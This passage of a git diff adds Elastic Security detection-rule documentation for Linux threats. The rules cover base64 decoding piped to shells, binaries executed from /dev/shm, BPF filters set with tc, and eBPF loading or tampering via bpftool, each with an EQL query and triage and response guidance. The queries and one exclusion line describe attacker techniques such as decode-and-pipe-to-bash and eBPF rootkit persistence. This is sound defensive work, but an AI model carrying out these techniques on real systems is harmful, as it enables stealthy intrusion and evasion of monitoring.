compromise. +- Correlate the alert with other security events or logs from the same host or user to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Legitimate administrative scripts may use Base64 encoding to handle data securely. Review the context of the script execution and consider excluding specific scripts or directories from monitoring if they are verified as safe. +- Automated backup or data transfer processes might use Base64 encoding for data integrity. Identify these processes and create exceptions for known, trusted applications or scripts. +- Development environments often use Base64 encoding for testing purposes. If a development tool or script is frequently triggering alerts, consider excluding the specific development environment or user accounts from this rule. +- Security tools or monitoring solutions may use Base64 encoding as part of their normal operations. Verify the source of the alert and exclude known security tools from triggering this rule. +- System updates or package installations might involve Base64 operations. Monitor the timing and context of these alerts and exclude specific update processes if they are consistently identified as false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious code and lateral movement. +- Terminate any suspicious processes identified by the detection rule, particularly those involving base64 decoding and piping to interpreters. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized file modifications or network connections. +- Restore the system from a known good backup if malicious activity is confirmed and the integrity of the system is compromised. +- Update and patch all software and systems to mitigate vulnerabilities that could be exploited by similar techniques. +- Implement enhanced monitoring and logging for base64 decoding activities and interpreter executions to detect similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and ( + (process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and process.command_line like~ "*-*d*") or + (process.name == "openssl" and process.args == "enc" and process.args in ("-d", "-base64", "-a")) or + (process.name like "python*" and + (process.args == "base64" and process.args in ("-d", "-u", "-t")) or + (process.args == "-c" and process.args like "*base64*" and process.command_line like~ "*b64decode*") + ) or + (process.name like "perl*" and process.command_line like~ "*decode_base64*") or + (process.name like "ruby*" and process.args == "-e" and process.command_line like~ "*Base64.decode64*") + )] + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name like~ ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "perl*", "ruby*", "lua*", "php*" + ) and + not ( + ?process.parent.command_line in ( + "bash ./run_tests.sh unit-integration", + "/bin/sh /var/lib/dpkg/info/nmap-common.postinst configure", + "bash -c base64 -d <<< Zm9yIHN2YyBpbiBxZW11LWt2bSBvdnMtdnN3aXRjaGQgbGlidmlydGQgdmlydGxvY2tkIHBhY2VtYWtlciBwY3NkOyBkbyBzeXN0ZW1jdGwgaXMtYWN0aXZlICRzdmM7IGRvbmU= | bash -l" + ) or + process.command_line == "/usr/bin/perl /usr/bin/shasum -a 256" or + ?process.working_directory like ( + "/usr/local/zeek", "/opt/zeek", "/var/lib/docker/overlay2/*/opt/zeek", "/usr/local/zeek_old_install", + "/var/lib/docker/overlay2/*/usr/local/zeek", "/proc/self/fd/*/usr/local/zeek" + ) or + (?process.parent.name == "zsh" and ?process.parent.command_line like "*extendedglob*") or + (process.name like "python*" and ?process.parent.name == "python*") or + process.args like "/tmp/apt-key-gpghome*" + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-binary-executed-from-shared-memory-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-binary-executed-from-shared-memory-directory.asciidoc new file mode 100644 index 0000000000..c1c1b7e8f2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-binary-executed-from-shared-memory-directory.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-binary-executed-from-shared-memory-directory]] +=== Binary Executed from Shared Memory Directory + +Identifies the execution of a binary by root in Linux shared memory directories: (/dev/shm/, /run/shm/, /var/run/, /var/lock/). This activity is to be considered highly abnormal and should be investigated. Threat actors have placed executables used for persistence on high-uptime servers in these directories as system backdoors. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://linuxsecurity.com/features/fileless-malware-on-linux +* https://twitter.com/GossiTheDog/status/1522964028284411907 +* https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Threat: BPFDoor +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Binary Executed from Shared Memory Directory* + + +Shared memory directories in Linux, such as /dev/shm and /run/shm, are designed for efficient inter-process communication. However, adversaries exploit these directories to execute binaries stealthily, often as root, bypassing traditional security measures. The detection rule identifies such anomalies by monitoring for root-executed binaries in these directories, excluding known legitimate processes, thus flagging potential backdoor activities. + + +*Possible investigation steps* + + +- Review the process executable path to confirm it resides in a shared memory directory such as /dev/shm, /run/shm, /var/run, or /var/lock, and verify it is not part of the known exclusions like /var/run/docker or /var/run/utsns. +- Investigate the parent process of the suspicious executable to understand the context of its execution, focusing on the command line used, especially if it does not match the exclusion pattern /usr/bin/runc init. +- Check the process's creation time and correlate it with any other suspicious activities or alerts around the same timeframe to identify potential patterns or related incidents. +- Analyze the binary file in question for any known malicious signatures or unusual characteristics using tools like file integrity checkers or antivirus solutions. +- Review system logs and audit logs for any unauthorized access or privilege escalation attempts that might have led to the execution of the binary as root. +- Investigate the user account activity associated with user.id "0" to ensure there are no signs of compromise or misuse of root privileges. +- If possible, isolate the affected system to prevent further potential malicious activity while the investigation is ongoing. + + +*False positive analysis* + + +- Docker-related processes can trigger false positives when binaries are executed from shared memory directories. To mitigate this, exclude paths like /var/run/docker/* from the detection rule. +- Processes related to container orchestration tools such as Kubernetes might also cause false positives. Exclude paths like /var/run/utsns/* and /var/run/s6/* to prevent these. +- Cloudera services may execute binaries from shared memory directories as part of their normal operations. Exclude /var/run/cloudera-scm-agent/* to avoid false alerts. +- Argo workflows might execute binaries in these directories. Exclude /var/run/argo/argoexec to reduce false positives. +- Legitimate use of /usr/bin/runc init as a parent process can be excluded to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the threat actor. +- Terminate any suspicious processes running from the shared memory directories (/dev/shm, /run/shm, /var/run, /var/lock) to halt potential malicious activity. +- Conduct a thorough review of the system's process tree and logs to identify any additional malicious binaries or scripts that may have been executed or are scheduled to run. +- Remove any unauthorized binaries or scripts found in the shared memory directories and other critical system paths to eliminate persistence mechanisms. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through manual remediation. +- Implement enhanced monitoring and alerting for any future execution of binaries from shared memory directories, ensuring that legitimate processes are whitelisted appropriately. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event") and +user.id == "0" and process.executable like ("/dev/shm/*", "/run/shm/*", "/var/run/*", "/var/lock/*") and +not ( + process.executable : ( + "/var/run/docker/*", "/var/run/utsns/*", "/var/run/s6/*", "/var/run/cloudera-scm-agent/*", + "/var/run/argo/argoexec", "/dev/shm/*.*/sandfly" + ) or + process.parent.command_line == "/usr/bin/runc init" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-bpf-filter-applied-using-tc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-bpf-filter-applied-using-tc.asciidoc new file mode 100644 index 0000000000..c09dd3cc5c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-bpf-filter-applied-using-tc.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-bpf-filter-applied-using-tc]] +=== BPF filter applied using TC + +Detects when the tc (transmission control) binary is utilized to set a BPF (Berkeley Packet Filter) on a network interface. Tc is used to configure Traffic Control in the Linux kernel. It can shape, schedule, police and drop traffic. A threat actor can utilize tc to set a bpf filter on an interface for the purpose of manipulating the incoming traffic. This technique is not at all common and should indicate abnormal, suspicious or malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/h3xduck/TripleCross/blob/master/src/helpers/deployer.sh +* https://man7.org/linux/man-pages/man8/tc.8.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Threat: TripleCross +* Data Source: Auditd Manager +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating BPF filter applied using TC* + + +BPF (Berkeley Packet Filter) is a powerful tool for network traffic analysis and control, often used with the `tc` command to manage traffic on Linux systems. Adversaries may exploit this by setting BPF filters to manipulate or monitor network traffic covertly. The detection rule identifies suspicious use of `tc` to apply BPF filters, flagging potential misuse by checking for specific command patterns and excluding legitimate processes. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `/usr/sbin/tc` command with arguments "filter", "add", and "bpf" to ensure the alert is not a false positive. +- Investigate the parent process of the `tc` command to determine if it is a known legitimate process or if it appears suspicious, especially since the rule excludes `/usr/sbin/libvirtd`. +- Check the user account associated with the process execution to assess if it is a privileged account and whether the activity aligns with the user's typical behavior. +- Analyze network traffic logs around the time of the alert to identify any unusual patterns or connections that may indicate malicious activity. +- Correlate this event with other security alerts or logs to identify if this is part of a broader attack pattern or campaign, such as the use of the TripleCross threat. +- Review system logs for any other suspicious activities or anomalies that occurred before or after the alert to gather additional context. + + +*False positive analysis* + + +- Legitimate use of tc by virtualization software like libvirtd can trigger the rule. To handle this, exclude processes where the parent executable is /usr/sbin/libvirtd, as indicated in the rule. +- Network administrators may use tc with BPF filters for legitimate traffic management tasks. Identify and document these use cases, then create exceptions for specific command patterns or user accounts involved in these activities. +- Automated scripts or system management tools that configure network interfaces might use tc with BPF filters. Review these scripts and tools, and if they are verified as safe, exclude their process signatures from triggering the rule. +- Regular audits of network configurations can help distinguish between legitimate and suspicious use of BPF filters. Implement a process to regularly review and update exceptions based on these audits to minimize false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further manipulation or monitoring of network traffic by the adversary. +- Terminate the suspicious `tc` process to stop any ongoing malicious activity related to the BPF filter application. +- Conduct a thorough review of network traffic logs to identify any unauthorized data exfiltration or communication with known malicious IP addresses. +- Restore the affected system from a known good backup to ensure that no malicious configurations or software persist. +- Implement network segmentation to limit the potential impact of similar threats in the future, ensuring critical systems are isolated from less secure areas. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are compromised. +- Update and enhance endpoint detection and response (EDR) solutions to improve monitoring and alerting for similar suspicious activities involving `tc` and BPF filters. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.executable == "/usr/sbin/tc" and process.args == "filter" and process.args == "add" and process.args == "bpf" and +not ?process.parent.executable == "/usr/sbin/libvirtd" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-bpf-program-or-map-load-via-bpftool.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-bpf-program-or-map-load-via-bpftool.asciidoc new file mode 100644 index 0000000000..ea8045f8a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-bpf-program-or-map-load-via-bpftool.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-bpf-program-or-map-load-via-bpftool]] +=== BPF Program or Map Load via bpftool + +Detects execution of bpftool commands used to load, attach, run, or pin eBPF programs, as well as create or update eBPF maps and links. These operations interact directly with the Linux eBPF subsystem and can modify kernel-level behavior. While commonly used by legitimate networking or observability tooling, unexpected or interactive usage may indicate eBPF-based rootkit activity, policy tampering, or unauthorized kernel instrumentation. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://manpages.ubuntu.com/manpages/jammy/man8/bpftool-prog.8.html +* https://manpages.ubuntu.com/manpages/noble/man8/bpftool-map.8.html +* https://man.archlinux.org/man/bpftool-link.8.en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Threat: Rootkit +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating BPF Program or Map Load via bpftool* + + +This rule flags bpftool executions that load, attach, run, or pin eBPF programs and that create or pin maps/links, actions that can change kernel behavior without traditional user-space artifacts. Adversaries can use bpftool to load a malicious eBPF object, attach it to a tracepoint or traffic control hook, and pin the program and maps in bpffs so it persists and hides or filters activity across reboots. + + +*Possible investigation steps* + + +- Capture full command line, parent process, user context, TTY/session, and current working directory to determine whether execution was interactive administration or automated tooling. +- Enumerate loaded and pinned eBPF artifacts and their attachment points using `bpftool prog show`, `bpftool map show`, `bpftool link show`, and a filesystem review of `/sys/fs/bpf` to identify unexpected persistence. +- Identify the eBPF object/source used for the load (path, inode, hash, package origin) and retrieve a copy for analysis, including checking for recent writes or downloads in the same directory tree. +- Correlate the event time with system logs and other telemetry for follow-on activity such as privilege escalation, module loads, network filtering changes, or suspicious process hiding indicators. +- Hunt for persistence mechanisms that would reload the same eBPF program after reboot (systemd units/timers, cron, init scripts, container entrypoints) and validate against known legitimate observability/network stacks in the environment. + + +*False positive analysis* + + +- A system administrator or SRE may run `bpftool prog load/attach/pin` or `bpftool map create/pin` during planned troubleshooting or performance investigation to temporarily instrument kernel events and persist objects under `/sys/fs/bpf` for multi-step validation. +- A legitimate system service or boot-time automation may invoke `bpftool` to load and pin eBPF programs/maps as part of expected networking, security policy enforcement, or observability initialization, especially after upgrades or configuration changes that trigger reloading. + + +*Response and remediation* + + +- Immediately isolate the host or container from the network and stop the initiating service/session, then detach any active hooks by removing pinned artifacts under `/sys/fs/bpf` and verifying with `bpftool prog show` and `bpftool link show` that the suspicious program/link is no longer attached. +- Preserve evidence by collecting the full `bpftool` command line and parent chain, a recursive copy of `/sys/fs/bpf`, and the exact eBPF object file used for the load (path, hash, permissions, timestamps) before deleting or modifying artifacts. +- Eradicate persistence by removing malicious eBPF pins, deleting or quarantining the associated `.o`/loader binaries, and disabling the boot-time mechanism that reloads them (systemd unit/timer, cron, init scripts, container entrypoint) followed by a controlled reboot to clear any remaining in-kernel state. +- Recover by restoring the system to a known-good configuration, validating expected networking/observability behavior, and monitoring that no new pinned programs/maps/links reappear under `/sys/fs/bpf` after reboot or service restarts. +- Escalate to incident response and kernel/rootkit specialists if the program attaches to security-relevant hooks (e.g., tracepoints/kprobes/LSM/tc) or if pinned objects reappear after removal, indicating an active persistence mechanism or compromised privileged runtime. +- Harden by restricting `bpftool` availability and access to bpffs, enforcing least-privilege for CAP_BPF/CAP_SYS_ADMIN, requiring signed/managed eBPF loaders, and enabling controls that limit eBPF usage to approved components in production images and hosts. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "bpftool" and ( + (process.args == "prog" and process.args in ("load", "loadall", "attach", "run", "pin")) or + (process.args == "map" and process.args in ("create", "pin")) or + (process.args == "link" and process.args == "pin") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-bpf-program-tampering-via-bpftool.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-bpf-program-tampering-via-bpftool.asciidoc new file mode 100644 index 0000000000..9e945db891 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-bpf-program-tampering-via-bpftool.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-bpf-program-tampering-via-bpftool]] +=== BPF Program Tampering via bpftool + +Detects execution of bpftool commands used to detach eBPF programs or links, or to delete or modify eBPF maps. These actions can disable, alter, or interfere with kernel-level instrumentation and enforcement mechanisms implemented through eBPF. In environments relying on eBPF-based networking, observability, or security controls, unexpected use of these operations may indicate defense evasion or runtime tampering. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://manpages.ubuntu.com/manpages/jammy/man8/bpftool-prog.8.html +* https://manpages.ubuntu.com/manpages/noble/man8/bpftool-map.8.html +* https://man.archlinux.org/man/bpftool-link.8.en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Threat: Rootkit +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating BPF Program Tampering via bpftool* + + +This rule detects bpftool executions that detach eBPF programs/links or delete/update eBPF maps, actions that can silently disable kernel-level visibility and enforcement built on eBPF. Attackers use these operations to evade detection or weaken runtime controls by removing loaded probes or rewriting map contents that drive policy decisions. A common pattern is running bpftool to detach a program from a hook or detach a link shortly before other suspicious activity. + + +*Possible investigation steps* + + +- Pull the full bpftool command line and correlate it with the invoking user, session (TTY/SSH), parent process chain, and any preceding privilege escalation to determine whether it was interactive admin work or automated tampering. +- Capture current eBPF state (`bpftool prog show`, `bpftool link show`, `bpftool map show -j`) and compare with recent snapshots/logs to identify which program/link/map changed and what controls (sensor, CNI, LSM, XDP/TC) may have been impacted. +- Identify the affected attachment point by mapping the detached program/link ID to its hook (e.g., tc/xdp/cgroup/tracepoint/kprobe) and validate operational impact by checking for missing telemetry, policy gaps, or network behavior changes around the event time. +- Review audit/system logs and package history for installation or recent execution of bpftool, kernel/debug tooling, or custom eBPF loaders, and look for nearby suspicious binaries/scripts that could be orchestrating repeated detach/update actions. +- If malicious activity is suspected, preserve artifacts by exporting bpftool JSON output and relevant `/sys/fs/bpf` entries, then hunt for follow-on persistence or rootkit-like behavior (new eBPF loads, altered maps, hidden processes, unexpected kernel module activity) on the host. + + +*False positive analysis* + + +- A system administrator or SRE running bpftool during incident response or troubleshooting may detach a program/link or update/delete a map to temporarily disable an eBPF hook and validate whether it is causing network drops, performance regressions, or incorrect enforcement. +- A maintenance workflow during kernel, CNI, or eBPF policy rollouts may use bpftool to detach and replace existing attachments or refresh map entries as part of a controlled upgrade/rollback, especially when reloading pinned objects under `/sys/fs/bpf`. + + +*Response and remediation* + + +- Contain by isolating the host from the network or restricting outbound access while preserving access for forensics if bpftool detach/map operations are unexpected or coincide with loss of eBPF-based enforcement/telemetry. +- Eradicate by stopping and removing the controlling process/script (inspect the bpftool parent chain and cron/systemd units), revoking the initiating account’s sudo/root access, and deleting any unauthorized pinned objects under `/sys/fs/bpf` after exporting them for evidence. +- Recover by reloading the approved eBPF components (agent/CNI/LSM/XDP/TC) from trusted packages or images, reattaching required programs/links, and restoring known-good map contents from backups or redeploying policy to repopulate maps. +- Escalate to incident response and platform owners immediately if repeated bpftool tampering persists after containment, you find unknown pinned maps/programs with suspicious names/owners, or multiple hosts show simultaneous detach/update activity. +- Harden by limiting bpftool availability 